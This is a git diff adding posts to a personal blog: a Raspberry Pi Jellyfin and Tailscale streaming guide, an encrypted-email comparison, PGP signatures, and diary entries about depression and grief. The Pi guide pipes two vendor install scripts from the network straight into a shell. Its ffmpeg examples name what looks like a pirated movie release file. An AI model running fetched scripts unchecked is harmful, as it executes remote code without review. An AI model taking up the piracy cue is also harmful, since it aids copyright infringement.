(8GB), Jellyfin, and Tailscale. + +This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at. + +## The idea + +Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later. + +The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly. + +## What you need + +My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane. + +## Step one: choose a home for your stuff + +Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers. + +On the Pi, I created a little directory neighborhood under `/srv`: + +```bash +sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin +sudo chown -R $USER:$USER /srv +``` + +If you’re not ready to move movies into `/srv/media` yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup. + +## Step two: install Docker and start thinking in containers + +I installed Docker and verified that `docker compose` worked. After that, everything became a file called `docker-compose.yml` and the comforting feeling that I can rebuild my server from a single folder if life gets weird. + +A typical install flow on Raspberry Pi OS looks like this: + +```bash +sudo apt update +sudo apt install -y ca-certificates curl +curl -fsSL https://get.docker.com | sh +sudo usermod -aG docker $USER +newgrp docker +docker --version +docker compose version +``` + +Now for the part that feels like summoning a friendly daemon. + +## Step three: Jellyfin, running happily in Docker + +In `/srv/compose/jellyfin/docker-compose.yml`, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to `/home/hub/Documents/movies` from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that. + +Here’s a simple `docker-compose.yml` that works well on a Pi: + +```yaml +services: + jellyfin: + image: jellyfin/jellyfin:latest + container_name: jellyfin + user: "1000:1000" + ports: + - "8096:8096/tcp" + - "7359:7359/udp" + volumes: + - /srv/jellyfin/config:/config + - /srv/jellyfin/cache:/cache + - /srv/media:/media + restart: unless-stopped +``` + +If your user isn’t UID 1000, check it with `id -u` and `id -g`, then update the `user:` line accordingly. + +I started Jellyfin like this: + +```bash +cd /srv/compose/jellyfin +docker compose up -d +``` + +After that, Jellyfin lived at `http://:8096` on my home network, which is the most satisfying “it’s alive” moment of the whole build. + +## Step four: Tailscale, the magic door for friends + +Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host. + +```bash +curl -fsSL https://tailscale.com/install.sh | sh +sudo tailscale up +tailscale ip -4 +``` + +That last command gives you a `100.x.y.z` address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes: + +```text +http://100.x.y.z:8096 +``` + +Or if you enabled magicDNS: + +```text +http://rpi:8096 +``` + +The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project. + +If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.” + +## Step five: create a Jellyfin user for your friend + +Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself. + +If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one. + +## Step six: the secret to a smooth Pi movie night is Direct Play + +A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion. + +For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer. + +The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers: + +```bash +ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:v:0 -map 0:a:0 -c:v copy -c:a aac -b:a 384k -ac 2 -movflags +faststart "500.Days.of.Summer.2009.1080p.mp4" +``` + +Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4: + +```bash +ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:s:0 "500.Days.of.Summer.2009.1080p.srt" +``` + +Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning. + +## Step seven: SyncPlay, aka “we pressed play together” + +Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy. + +## Starting on microSD, graduating to SSD later + +Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards. + +The reason the `/srv` layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy `/srv` to the SSD, mount the SSD at `/srv`, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead. + +## Where this goes next + +Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep `/srv` as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.” + +For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room. + +Happy streaming. + +The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I'll write a review for it later on. It was just amazing. + + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/boredom.md.asc b/public-clearnet/sources/posts/boredom.md.asc new file mode 100644 index 0000000..44ffb20 --- /dev/null +++ b/public-clearnet/sources/posts/boredom.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY= +=/K6E +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/confusion.md b/public-clearnet/sources/posts/confusion.md new file mode 100644 index 0000000..ae1648b --- /dev/null +++ b/public-clearnet/sources/posts/confusion.md @@ -0,0 +1,12 @@ ++++ +title = 'Confusion' +date = 2026-04-02T14:15:55Z +draft = true ++++ + +I don't know the why, the how, the what to do. The day started with many questions and many statements + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/confusion.md.asc b/public-clearnet/sources/posts/confusion.md.asc new file mode 100644 index 0000000..fd21f2c --- /dev/null +++ b/public-clearnet/sources/posts/confusion.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM +jSp/jRAAt1Yto5ZR1/V8X/HiD5+7a87JrftUZGH1jc/PuZ47vzvQ2lBg8nmPYwjF +teuCklmhq4xqGxHCW50HzGmPf6a4VKsFpXf3/1Dk8wylBvQhwXtjDUJrygMaWqB6 +LdWsJIscsApAu5kTCfw5x2+yiCug6qzwf8ociXGy7RFLcJ2BWhPNdnk2OMnL2dpl +oNPvgHbVzczQLAqx/3MI4pwBIHt0KJdpwqMrieyUbh1+CO3o4zGsiaGAQNHppGNN +JXkA3uKtr5VRnFWszWYzUbuMtCX214KuVxLMRfE96A3eU6+vgBENeBIeuIaj4jIc +7qbGMaTsWK3qM4inXHy4qkhH6q5EVrsE3YCXN13s8qWkE7M9NGBSM5Bb95iNeOah +cbzJoH6kbBXUMulGcTjVkmvL0fjpasgXf7aabB8IZE1fKQksS++6+LKhUnr9O5vY +EwKh4BIABSdL+18rsv5QRlzoQgbY+oRYPallKRjxONpN18P3Ny9qQL4kFD6EnWs1 +ByxhAw+PYYyh8WUiKs5IFCVUk4+XBrHRCbNW0B+DXn7wrvUSvv6MCyUWN0IL02On +zV5wSAYcmZm2QIprRLtFH3QiHFdR9vEDwtmHvkpLwJw1UHAIZgsqzumRwZzwTu4y +hPPWF7R4nvqjePR+1Jdt+Y4ssbde1AFMjKx323TbRAluXQdNVAc= +=Ayvy +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/cupid.md b/public-clearnet/sources/posts/cupid.md new file mode 100644 index 0000000..54424b9 --- /dev/null +++ b/public-clearnet/sources/posts/cupid.md @@ -0,0 +1,51 @@ ++++ +title = 'Cupid is so dumb' +date = 2025-11-04T19:35:16Z +draft = false ++++ + +The lyrics are being played in my brain day and night. + +"A hopeless romantic all my life" + +"Surrounded by couples all the time" + +"I guess I should take it as a sign" + +But... "I gave a second chance to Cupid" + +"But now I'm left here feelin' stupid" + +I might've given more than two chances to cupid. + +But I'm still left here felling' stupid. + +"I look for his arrows every day" + +"I guess he got lost or flew away" + +But does it matter anymore? +It shouldn't. It really shouldn't. + +Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I've been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn't told me. + +Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn't funny, idk. What I do know however is that I'm hurt. There is a bit more to the story than that, but I don't want to open it up. It's way too personal to be opened. + +The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though. + +I've been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on. + +I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough. + +I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope. + +For now all I know is that I'm stuck in MDD, and I cannot get out of it. I'm glad suicidal thoughs are off the table. I'm just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live. + +I think this is just so painful to me in the sense that I don't really have many friends that I consider as friends, and I'm being left alone from some groups that I don't necesserially wanna be a part of. But oh well, I should not care. + +Credit: Cupid by FIFTY FIFTY + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/cupid.md.asc b/public-clearnet/sources/posts/cupid.md.asc new file mode 100644 index 0000000..c17d430 --- /dev/null +++ b/public-clearnet/sources/posts/cupid.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM +jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa+CzLQY5UgxMloPUPb7wt0PeUf +CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7+GF9IUv +YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa +2RWo2WA0w9PIvb/rv77+fOx5g7P1Ap+mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl +HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r +ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7 +oKcf7IO8MJNs4l3+990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1 +wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm +7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq+Tl/MSNQVfwTbxBMkGxmLQwEWY9 +mUD+FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/ +91kzN5JeoMvwawhIt9N8+nPGUOs3RTy+qHk9L7DHhtAycdFqm/c= +=sXgB +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/danya.md b/public-clearnet/sources/posts/danya.md new file mode 100644 index 0000000..199dfa9 --- /dev/null +++ b/public-clearnet/sources/posts/danya.md @@ -0,0 +1,43 @@ ++++ +title = 'Danya' +date = 2025-10-21T08:41:58Z +draft = false +description = "A sad note about someone I knew in the online world." ++++ + +Daniel Naroditsky has passed away. +I've never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it. + + +The occasion is grim. +However, let's remember the immense pressure he was under. +Let's remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru! + +The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don't know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense. + +I do think Danya went under so much pressure from these allegations, though. +I don't know if he ever cheated or not, but like, what's the point now? +He is gone. +He'll never be back. + +I don't know what the cause was, but I hope he didn't take his own life. +I don't know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal. + +Rest in peace, Danya. +I don't think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were. + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/danya.md.asc b/public-clearnet/sources/posts/danya.md.asc new file mode 100644 index 0000000..8f4e26e --- /dev/null +++ b/public-clearnet/sources/posts/danya.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM +jSpazRAAkvfyfZFtYRnSapnmBsWF+f6Sj42Cy5T5PFq6C+DdQdOq1VZjGComKjXv +YqD4dkiBNsFXehp/DLUXxh+jvme1icBas5tZJooJX+ykhlDflRRheyz3k/3fpVV2 +fo48rh5vV3cn1zDUZA2+XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O +u6PH0hwDYvarj4RFEadIq2+vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS+7tS8RZnYMX9 +BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2 +eTnhxoMGldwPp4PKq3bGt6KrI2zN+P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c +9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV+1HyH/1flk/47szJXGZ6Gg+ +NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B +Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X +xc7JMmK+AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8 +zVuQEy3O7tkGShRjgnS+T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4= +=BEoA +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/e2ee.md b/public-clearnet/sources/posts/e2ee.md new file mode 100644 index 0000000..41ff0e0 --- /dev/null +++ b/public-clearnet/sources/posts/e2ee.md @@ -0,0 +1,142 @@ +--- +title: "Sending End‑to‑End Encrypted Email (E2EE) without losing friends" +date: 2025-10-30 +draft: false +tags: ["privacy", "email", "e2ee", "proton", "tuta", "pgp", "s/mime", "gmail cse"] +categories: ["Privacy"] +summary: "A practical, mildly opinionated guide to sending encrypted email that normal people can actually read." +ShowToc: true +TocOpen: true +--- + +If you’ve ever thought “I should really send this **securely**” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a **usable** path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over. + +> Honestly, I don't know why one would settle down for a paid option, but if you want to, then be my guest. + +## Why people *don’t* use E2EE email (and why you still should) + +Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting. + +But the **upsides** are huge: true confidentiality of message content and attachments, stronger **authenticity** (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to **hesitate** before sending, it probably matters enough to encrypt. + +I mean, generally speaking one can use e2ee for anything, and not just email, but doesn't it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you're good to go! + +## The contenders (and how they feel to use) + +### Proton Mail (consumer‑friendly, great cross‑provider story) +Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a **password‑protected message** that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it. + +**Prices (personal):** Free tier exists; paid tiers like **Mail Plus** and **Proton Unlimited** add storage, custom domains, and Proton Bridge for desktop clients. Expect **single‑digit € per month** for personal use; business plans are per‑user. +**How to use:** Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can **reply securely** in the web portal—even without an account. +**Ups:** Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user. +**Downs:** Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers. + +Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It's easy to use, and fun to show off. + +### Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption) +Tuta offers automatic E2EE between Tuta users and **password‑protected emails** to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including **subject lines**—and the whole suite is open‑source and auditable. + +**Prices (personal & business):** Free plan plus personal tiers (e.g., **Revolutionary**, **Legend**) and business tiers (**Essential/Advanced/Unlimited**). Personal is typically **low single‑digit €/month**; business is **per‑user, per‑month**. +**How to use:** Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page. +**Ups:** Max privacy posture; encrypted subjects between Tuta users; clean apps. +**Downs:** Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata. + +I was introduced to this one literally for writing this post, I had no idea it existed before. + +### Gmail with **Client‑Side Encryption** (CSE) (for organizations on Google Workspace) +If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—**keys stay with your organization**. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail. + +**Prices:** CSE is available on certain Workspace editions (e.g., **Enterprise Plus**, **Education Standard/Plus**, **Frontline Plus**). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier. +**How to use:** Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it. +**Ups:** Seamless for employees; centralized key control; good audit/compliance story. +**Downs:** Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts. + +I mean... how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won't. Not with the emails that matter to me. + +### Outlook / Apple Mail with **S/MIME** (classic enterprise path) +S/MIME uses **X.509 certificates** instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs. + +**Prices:** The tech is built in; costs come from **certificates**. Orgs often issue them internally; public CA prices vary. +**How to use:** Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail. +**Ups:** Great inside enterprises; MDM‑friendly; widely supported. +**Downs:** Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination. + +Ok. Is there that big of a difference between these and Gmail? Idk. I ain't trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so. + +### Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable) +Thunderbird bakes in **OpenPGP** and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports **protected headers/subject encryption** so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability. + +**Prices:** Free. +**How to use:** Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done. +**Ups:** Full control, open source, works with any provider via IMAP/SMTP; subject protection available. +**Downs:** Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time. + +This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don't have iOS app which sucks, idk about Android. + +### Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail) +If you’re welded to webmail, add‑ons can meet you where you live. **Mailvelope** brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. **FlowCrypt** focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options. + +**Prices:** Mailvelope is free/open‑source. FlowCrypt has a generous free tier with **paid enterprise features** for teams. +**How to use:** Install the extension → create/import keys → compose in a secure editor injected into your webmail. +**Ups:** Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail. +**Downs:** Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client. + +Just no. Don't trust add-ons. Please. + +## So… which should *you* use? + +If you need to send a one‑off encrypted message to a **non‑technical person**, Proton or Tuta’s **password‑protected email** is the friendliest: they click a link, enter the password you shared elsewhere, and can **reply securely** even without an account. For a **company already on Google Workspace**, turn on **Gmail CSE** so people don’t juggle keys. If you’re a **power user** or want provider‑agnostic control, go with **Thunderbird OpenPGP**—it’s free, modern, and interoperable. And if you won’t leave the web, try **Mailvelope** or **FlowCrypt** to bolt E2EE onto the inbox you already use. + +Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead. + +## A note on what E2EE hides (and what it doesn’t) + +End‑to‑end encryption protects the **body** and **attachments**. Across the wider email network, **metadata like From/To and delivery timestamps** remain visible by design. Subjects may also be visible unless your tools use **protected headers** (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide *everything*, email might not be the right tool—reach for Signal or Matrix instead. + +## Quick price & fit-at-a-glance + +| Option | Best fit | Personal price vibe | Notes | +|---|---|---|---| +| Proton Mail | Everyday private email + easy messages to anyone | Free; personal paid tiers in **single‑digit €/mo**; business per‑user | Password‑protected emails to non‑Proton; PGP support | +| Tuta | Privacy‑max email; encrypted subjects in‑ecosystem | Free; personal low **€/mo**; business per‑user | Password‑protected emails to non‑Tuta; open source | +| Gmail CSE | Orgs on Google Workspace | Included with **Enterprise Plus/Education/Frontline** editions | Admin setup + external‑recipient flow | +| S/MIME (Outlook/Apple Mail) | Enterprises with IT/MDM | Software built‑in; **cert costs vary** | Smooth inside one org; cert exchange needed across orgs | +| Thunderbird OpenPGP | Provider‑agnostic power users | Free | Can encrypt subjects via protected headers | +| Mailvelope / FlowCrypt | Must stay on webmail | Free / **paid enterprise** options | PGP in the browser; good stepping stone | + +## The 60‑second starter packs + +**Proton/Tuta for one‑offs:** create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed. + +**Thunderbird for everything else:** install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss. + +--- + +## **Shower thoughts** + +So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don't know why it isn't already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us. + +A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don't trust them. + +The question I had was different. +Assuming that the service is reliable, why can't we use it and protect ourselves while doing so? + +In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly "untrusted" medium, why wouldn't you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it's a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let's not go that extreme. +Also if many do it, it's hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone. + +Idk how stupid the thing I'm suggesting is, but I wonder if it can be done or not. I don't know if I'm willing to spend my free time on it or not, but I though I should share the idea to at least know if it's stupid and wrong or not. + + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/e2ee.md.asc b/public-clearnet/sources/posts/e2ee.md.asc new file mode 100644 index 0000000..479894c --- /dev/null +++ b/public-clearnet/sources/posts/e2ee.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2 +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6 +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y= +=R0VX +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/face_of_rejection.md b/public-clearnet/sources/posts/face_of_rejection.md new file mode 100644 index 0000000..8df50f0 --- /dev/null +++ b/public-clearnet/sources/posts/face_of_rejection.md @@ -0,0 +1,88 @@ ++++ +title = 'Face of Rejection' +date = 2026-05-10T22:46:10Z +draft = false ++++ + +Now that I've had some time to process, I think it's good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f\*\*\* our interactions were, they were not of any use for me. +Like what's the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother's social cycle. +I don't know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm... ok, it still doesn't make sense. +Let me think if I can say it better or not. +Ok, let's say you this person X. +Imagine you interact with person X, talk to them, etc., but then that's it, it is limited to "talking". +You 